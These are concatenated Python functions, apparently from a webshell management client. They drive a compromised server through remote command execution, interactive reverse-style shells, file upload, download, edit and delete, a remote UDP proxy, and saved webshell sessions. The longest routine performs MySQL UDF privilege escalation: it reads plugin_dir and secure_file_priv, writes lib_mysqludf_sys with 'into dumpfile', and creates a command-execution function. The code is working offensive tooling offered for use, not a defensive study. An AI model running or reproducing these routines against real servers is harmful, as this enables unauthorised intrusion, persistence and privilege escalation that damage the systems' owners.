def start_remote_udp_server(self): '''开启远程UDP服务器,用于转发请求 ''' while True: self.exp.session.client.options.set_temp_option('timeout', 0) ret = self.exp.evalfile('payload/proxy', host=self.shost, port=self.sport) if not ret.is_success(): break ret = json.loads(ret.data) if ret['code'] == 1: break elif ret['code'] in (-1, -2): msg = base64.b64decode(ret['msg'].encode()).decode(self.exp.session.client.options.encoding, 'ignore') logger.error("Remote UDP Server error: "+msg) if ret['code'] == -2 and utils.input(f"Remote UDP Server Port `{self.sport}` binding failed, do you want to change the port? (y/n) ").lower() == 'y': try: self.sport = int(utils.input("Remote UDP Server Port: ")) continue except: logger.error("Illegal input!") elif ret['code'] == -3: logger.error("Remote UDP Server error: "+"An unknown error occurred remotely causing `select` to exit") break with self._lock: self.running = False self.server.close()
def _interactive(self) -> int: logger.info( "This is just an interactive window that continuously executes SQL statements. " ) logger.info("Type `exit` or `quit` or Ctrl-C to exit.") try: while True: prompt = colour.colorize('oracle', 'underline')+'('+colour.colorize(f"{self._user}@{self._host}", fore='green')+')'+\ f" [{colour.colorize(self._current_database, fore='yellow')}] > " sql = utils.input(prompt) if sql == '': continue elif sql in ('exit', 'quit'): break elif sql == 'clear': self.session.exec("clear") continue elif sql.startswith('use '): match = re.fullmatch(r'use\s+(\w+)', sql) if match: old = self._current_database self._current_database = match.group(1) if self._query(sql) == self.ERROR: self._current_database = old continue self._query(sql) except KeyboardInterrupt: print('') return self.SUCCESS
def run(self, args: Cmdline)-> int: args = self.parse.parse_args(args.options) if self.session.has_cmd(args.alias) and utils.input("Alias already exists!Do you want to overwrite it? (y/n) ").lower() != 'y': return self.STOP self._add(args.alias, args.cmd, args.description) logger.info(f"Add alias command: {args.alias} => {cmd}", True) return self.SUCCESS
def run(self, args: Cmdline) -> int: args = self.parse.parse_args(args.options) ret = self.SUCCESS if args.create is not None: ret = self._create_from_file(args.create, args.nosave) elif args.list: ret = self._list() elif args.delete: ids = ', '.join([str(i) for i in args.delete]) if utils.input( f"Are you sure to delete these webshell connection `{ids}`? (y/n) " ).lower() == 'y': for i in args.delete: self._delete(i, True) elif args.save is not None: if len(args.save) == 0: if self.session.client is None: logger.error("No webshell client is using.") return self.STOP else: ret = self._save(self.session) else: for i in args.save: if i in self.manager.session_map: self._save(self.manager.session_map.get(i)) else: if isinstance(self.session, MainSession): ret = self._create_from_client(self.session, args.nosave, None) else: logger.error( "Current session is a webshellsession!If you want to get a copy, it is recommended to create it from a file" ) ret = self.STOP return ret
def _delete(self, ID: int, force: bool) -> int: try: tree = ET.parse(config.webshell_save_path) root = tree.getroot() item = None for c in root: if int(c.attrib.get('id', 0)) == ID: item = c break if item is None: logger.error(f"No saved webshell connection for ID `{ID}`!") return self.STOP if force or utils.input( "Are you sure to delete this webshell connection? (y/n) " ).lower() == 'y': root.remove(item) tree.write(config.webshell_save_path) logger.info(f"Remove a saved webshell connections `{ID}`", False) return self.SUCCESS except ET.ParseError: logger.error( f"Xml parse error!Check this file `{config.webshell_save_path}`" ) except FileNotFoundError: logger.error(f"This file `{config.webshell_save_path}` not found!") return self.STOP
def cmdloop(self): self.running = True thread_list = [] keepthread = threading.Thread(target=self._keep_shell_alive, name="keep shell alive") shellthread = threading.Thread(target=self._shell, name="shell") readerthread = threading.Thread(target=self._reader, name="reader") keepthread.setDaemon(True) shellthread.setDaemon(True) readerthread.setDaemon(True) thread_list.append(keepthread) keepthread.start() utils.sleep(1) if self.running: thread_list.append(shellthread) thread_list.append(readerthread) shellthread.start() else: return utils.sleep(1) readerthread.start() try: if self.exp.session.server_info.isUnix( ) and self._is_supported_shell(): logger.info( 'You can type `:getfshell` to upgrade to a fully interactive shell(The premise is that Pty has been obtained.)' ) logger.info( "Type `Ctrl + c` three times in a row to exit the fully interactive shell" ) while self.running: cmd = utils.input() if not cmd: continue if self.exp.session.server_info.isUnix( ) and cmd == ':getfshell' and self._is_supported_shell(): if not self.enter_fully_shell(): logger.error( "Unable to get a fully interactive shell!") continue break self._writer(cmd + '\n') except KeyboardInterrupt: pass self.close() logger.info("Wait for thread exit...") for t in thread_list: t.join(5) if t.is_alive() and not utils.kill_thread(t.ident): logger.error( f"Exit thread `{t.name}` failed, thread id is `{t.ident}`!" ) logger.info("All have been cleaned up!")
def run(self, args: Cmdline) -> int: args = self.parse.parse_args(args.options) local = args.local if local is None: local = utils.pathsplit(args.source)[1] local = local.replace('/', os.sep) local = os.path.join(config.work_path, local) d, fname = utils.pathsplit(args.source) if os.path.exists(local): if os.path.isfile(local): logger.warning(f"Local file `{local}` is exist.") if utils.input( colour.colorize("Are you sure to overwrite it?(y/n) ", 'bold')).lower() != 'y': return self.STOP elif os.path.isdir(local): # 如果指定的本地路径为目录,那么会把下载的文件或目录放在该目录下 for f in os.listdir(local): if f.lower() == fname.lower(): if os.path.isdir(f): # 不准有同名目录 logger.error( f"Local folder `{local}` contain a same name directory `{f}`!" ) return self.STOP logger.warning( f"Local folder `{local}` contain a same name file `{fname}`." ) if utils.input( colour.colorize( "Are you sure to overwrite it?(y/n) ", 'bold')).lower() != 'y': return self.STOP break else: dirname = os.path.dirname(local.rstrip(os.sep)) if not os.path.exists(dirname): logger.error(f"Local directory `{dirname}` is not exist!") return self.STOP logger.info("Downloading...") ret = self.download(args.source, local, args.recursive) if ret == self.SUCCESS: logger.info("All items downloaded!") return ret
def run(self, args: Cmdline) -> int: args = self.parse.parse_args(args.options) if args.force: if isinstance(self.session, WebshellSession): self.session.exec(Cmdline(f"sessions -k {self.session.id} -f")) return self.SUCCESS else: return self.EXIT if utils.input("Are you sure to exit? (y/n) ").lower() == 'y': return self.EXIT return self.SUCCESS
def _upload(self, remote: str, data: bytes, force: bool, uploadsize: int) -> int: '''将数据写入到远程文件 ''' sign = 1 if force else 0 total = math.ceil(len(data) / uploadsize) if uploadsize > 0 else 1 progress = 0 while data: block = data[:uploadsize] if uploadsize > 0 else data data = data[uploadsize:] if uploadsize > 0 else b'' ret = self.evalfile('upload', pwd=self.session.pwd, path=remote, data=block, sign=sign) sign = 2 ret = ret.data while ret is None: if total > 1: # 如果分片上传时失败,则重传一次该分片 ret = self.evalfile('upload', pwd=self.session.pwd, path=remote, data=block, sign=sign) if ret.is_success(): ret = ret.data break logger.error("upload file error!") return self.STOP if ret == '0': logger.warning(f"Remote file `{remote}` is exist.") if utils.input("Are you sure to overwrite the file? (y/n) " ).lower() == 'y': return self._upload(remote, block + data, True, uploadsize) elif ret == '-1': logger.error("Remote file open failed!") logger.error( 'Check if the path is correct or if you have write permission.' ) return self.STOP elif ret == '1': if total > 1: progress += 1 per = str(int(progress / total * 100)) + '%' per = per.rjust(4, ' ') print(f"Upload progress {per} ({progress}/{total}).", end='\r', flush=True) continue else: logger.error("Unknow error!") return self.STOP logger.info(f"Upload file `{remote}` successfully!") return self.SUCCESS
def cmdloop(self): self.running = True start_thread = threading.Thread(target=self.start_shell) reader_thread = threading.Thread(target=self.reader) thread_list = [start_thread, reader_thread] start_thread.setDaemon(True) reader_thread.setDaemon(True) start_thread.start() utils.sleep(1) reader_thread.start() try: if self.exp.session.server_info.isUnix( ) and self._is_supported_shell(): logger.info( 'You can type `:getfshell` to upgrade to a fully interactive shell(The premise is that Pty has been obtained.)' ) logger.info( "Type `Ctrl + c` three times in a row to exit the fully interactive shell" ) while self.running: cmd = utils.input() if not cmd: continue if self.exp.session.server_info.isUnix( ) and cmd == ':getfshell' and self._is_supported_shell(): if not self.enter_fully_shell(): logger.error( "Unable to get a fully interactive shell!") continue break self.writer(cmd + '\n') except KeyboardInterrupt: pass except BaseException as e: logger.error(e) self.close() for t in thread_list: t.join(5) if t.is_alive(): utils.kill_thread(t.ident)
def _kill(self, ID: int, force=False) -> int: if ID not in self.manager.session_map: logger.error(f"No session id is `{ID}`.") return self.STOP if isinstance(self.session, WebshellSession) and ID == self.session.id: logger.warning('You will kill the session you live on!') if force or utils.input( f"Are you sure to kill the session with id `{ID}` (y/n)" ).lower() == 'y': s = self.manager.session_map[ID] # 执行销毁时的回调函数 s._hook_destroy() del self.manager.session_map[ID] logger.info(f"A session `{ID}` has been killed.", False) if isinstance(self.session, WebshellSession) and ID == self.session.id: return self._switch(0) return self.SUCCESS
def run(self, args: Cmdline) -> int: args = self.parse.parse_args(args.options) if args.force or utils.input( "Are you sure to delete these files? (y/n) ").lower() == 'y': flist = "\n".join(args.dest) ret = self.evalfile('payload', flist=flist, pwd=self.session.pwd) ret = ret.data if ret is None: logger.error("Remove file error!") return self.STOP ret = json.loads(ret) for msg in ret['msg']: msg = base64.b64decode(msg).decode( self.session.client.options.encoding, 'ignore') if 'failed' in msg or 'exist' in msg: logger.warning(msg) else: logger.info(msg) if ret['code'] == -1: return self.STOP return self.SUCCESS
def run(self, args: Cmdline) -> int: args = self.parse.parse_args(args.options) if args.sourcepath and args.targetpath: result = self.evalfile('payload', pwd=self.session.state.get('pwd'), source=args.sourcepath, dest=args.targetpath, f=False) result = result.data if result is None: logger.error("Move error!") return self.STOP if result == 'Dest file exists': if utils.input( "Target file is exists, are you want to overwrite it?(y/n) " ).lower() == 'y': result = self.evalfile('payload', pwd=self.session.state.get('pwd'), source=args.sourcepath, dest=args.targetpath, f=True).strip() else: return self.SUCCESS if result == 'ok': logger.info( f"Move `{args.sourcepath}` to `{args.targetpath}` successfully!" ) return self.SUCCESS else: logger.error( f"Move `{args.sourcepath}` to `{args.targetpath}` failed!Check your permissions." ) print(result) return self.STOP return self.STOP
def cmdloop(self): logger.info( "Simply execute commands without maintaining any state.Type `exit` or `Ctrl-C` to exit." ) logger.warning( "This shell is just a loop to execute the input commands, not a real interactive shell!" ) self.running = True try: while self.running: cmd = utils.input(">> ") if cmd: if cmd.lower() == 'exit': self.running = False break msg = self.exp.exec_command(cmd + " 2>&1") if msg is None: logger.error(f"Exec `{cmd}` failed!") continue print( msg.decode(self.exp.session.client.options.encoding, 'ignore')) except KeyboardInterrupt: pass
def _exec_udf(self): '''上传mysql的udf用于命令执行 ''' encoding = self.session.client.options.encoding # 验证是否存在当前用于执行命令的函数 sql = f"select * from mysql.func where name = '{self._exec_func}'" ret = self.evalfile('payload/query', host=self._host, port=self._port, user=self._user, password=self._password, database=self._current_database, sql=sql) if not ret.is_success(): logger.error("Query funtions info failed!") return self.STOP ret = json.loads(ret.data) if ret['code'] == 1: if ret['result'] and len(ret['result']) > 1: logger.info(f"Funtion `{self._exec_func}` already exists!", True) return self.SUCCESS else: logger.error("Query funtions info failed!") return self.STOP # 搜集信息 logger.info("Information collection...") plugin_dir = None secure_file_priv = None version_compile_machine = None version_compile_os = None version = None sql = "show global variables where variable_name in ('secure_file_priv', 'plugin_dir', 'version_compile_machine', 'version_compile_os', 'version')" ret = self.evalfile('payload/query', host=self._host, port=self._port, user=self._user, password=self._password, database=self._current_database, sql=sql) if not ret.is_success(): logger.error("Mysql information collection failed!") return self.STOP ret = ret.data ret = json.loads(ret) if ret['code'] == 1: if ret['result']: r = [ base64.b64decode(t[1].encode()).decode(encoding, 'ignore') for t in ret['result'] ] plugin_dir = r[1] secure_file_priv = r[2] version = r[3] version_compile_machine = r[4] version_compile_os = r[5] else: logger.error("Mysql information collection failed!") return self.STOP elif ret['code'] in (0, -1): msg = base64.b64decode(ret['msg'].encode()).decode( encoding, 'ignore') print(msg) return self.STOP else: logger.error("Mysql information collection failed!") return self.STOP logger.info(f"plugin_dir: {plugin_dir}", True) logger.info(f"secure_file_priv: {secure_file_priv}", True) logger.info(f"version: {version}", True) logger.info(f"version_compile_machine: {version_compile_machine}", True) logger.info(f"version_compile_os: {version_compile_os}", True) v = re.search(r'(\d+)\.(\d+)', version) if v is not None and 'win' in version_compile_os.lower(): m = int(v.group(1)) c = int(v.group(2)) if (m == 5 and c < 1) or m < 5: # Windows上mysql<5.1 logger.info( f"Mysql on {version_compile_os} {version_compile_machine} version < 5.1, you can upload udf to c:\winnt\system32 or c:\windows\system32!" ) return self.SUCCESS # 写入udf arch = '32' ext = 'so' if '64' in version_compile_machine: arch = '64' if 'win' in version_compile_os.lower(): ext = 'dll' local_udfpath = os.path.join(os.path.dirname(__file__), 'extra_code', f'lib_mysqludf_sys_{arch}.{ext}') logger.info(f"Using udf `{local_udfpath}`") udfdata = b'' with open(local_udfpath, 'rb') as f: udfdata = f.read() udfdata = udfdata.hex() udfname = utils.randomstr(8) + '.' + ext udfpath = plugin_dir + udfname if secure_file_priv and secure_file_priv != plugin_dir: logger.error("Can not upload udf with secure_file_priv!") if utils.input( "Can not upload udf with secure_file_priv!Do you want to try to upload UDF with web permission? (y/n) " ).lower() == 'y': if self.session.exec(['upload', local_udfpath, udfpath]) == self.SUCCESS: logger.info("UDF write successful!") else: logger.error("Write UDF failed!") return self.STOP else: return self.STOP else: # 使用sql语句写入UDF logger.info(f"Start write udf to {udfpath}...") sql = f"select unhex('{udfdata}') into dumpfile '{udfpath}'" ret = self.evalfile('payload/query', host=self._host, port=self._port, user=self._user, password=self._password, database=self._current_database, sql=sql) if not ret.is_success(): logger.error("Write UDF failed!") return self.STOP ret = ret.data ret = json.loads(ret) if ret['code'] == 2: logger.info("UDF write successful!", True) elif ret['code'] in (0, -1): msg = base64.b64decode(ret['msg'].encode()).decode( encoding, 'ignore') print(msg) logger.error("Write UDF failed!") return self.STOP else: logger.error("Write UDF failed!") return self.STOP # 创建命令执行函数 sql = f"create function {self._exec_func} returns string soname '{udfname}'" ret = self.evalfile('payload/query', host=self._host, port=self._port, user=self._user, password=self._password, database=self._current_database, sql=sql) if not ret.is_success(): logger.error(f"Create function `{self._exec_func}` failed!") return self.STOP ret = ret.data ret = json.loads(ret) if ret['code'] == 2: logger.info(f"Create function `{self._exec_func}` successful!", True) self._query( f"select * from mysql.func where name = '{self._exec_func}'") return self.SUCCESS elif ret['code'] in (0, -1): msg = base64.b64decode(ret['msg'].encode()).decode( encoding, 'ignore') print(msg) logger.error(f"Create function `{self._exec_func}` failed!") return self.STOP else: logger.error(f"Create function `{self._exec_func}` failed!") return self.STOP
def run(self, args: Cmdline) -> int: is_new_file = False # 指定编辑的文件是否是新文件 args = self.parse.parse_args(args.options) logger.info('Downloading...') data = self.evalfile('download', path=args.source, pwd=self.session.pwd) data = data.data if data is None: logger.error("Download error!") return self.STOP data = json.loads(data) if data['code'] == 0: logger.error(f"File `{args.source}` is not exist on server.") if utils.input( f"Do you want to edit a new file and upload to server? (y/n) " ).lower() == 'y': is_new_file = True else: return self.STOP elif data['code'] == -1: logger.error(f"File is not readable!Check your permissions.") return self.STOP elif data['code'] == -2: logger.error(f"File is not writable!Check your permissions.") return self.STOP else: logger.info('Download over!') data = base64.b64decode(data['msg'].encode()) fname = args.source.replace('/', '_').replace('\\', '_') with tempfile.TemporaryDirectory() as tmpdir: path = os.path.join(tmpdir, fname) with open(path, 'wb') as f: f.write(data) if os.system(f"{config.editor} {path}") != 0: logger.error( f"Run editor `{config.editor}` failed!The editor must edit file in console like `vim filename` or `notepad filename`" ) logger.info( f"You can change editor in config file `{os.path.join(config.root_path, 'config.py')}`" ) return self.STOP ret = b'' with open(path, 'rb') as f: ret = f.read() if ret == data: logger.warning('File content no changes!So do not upload!') return self.SUCCESS logger.info("Uploading...") ret = self.evalfile('upload', data=ret, path=args.source, pwd=self.session.pwd) ret = ret.data if ret is None: logger.error("Upload error!") return self.STOP if ret == '1': logger.info(f"Edit file `{args.source}` success!") return self.SUCCESS elif ret == '-1': logger.error('Incomplete file writing!Try it again.') else: logger.error("Failed to edit file for unknown reason!") return self.STOP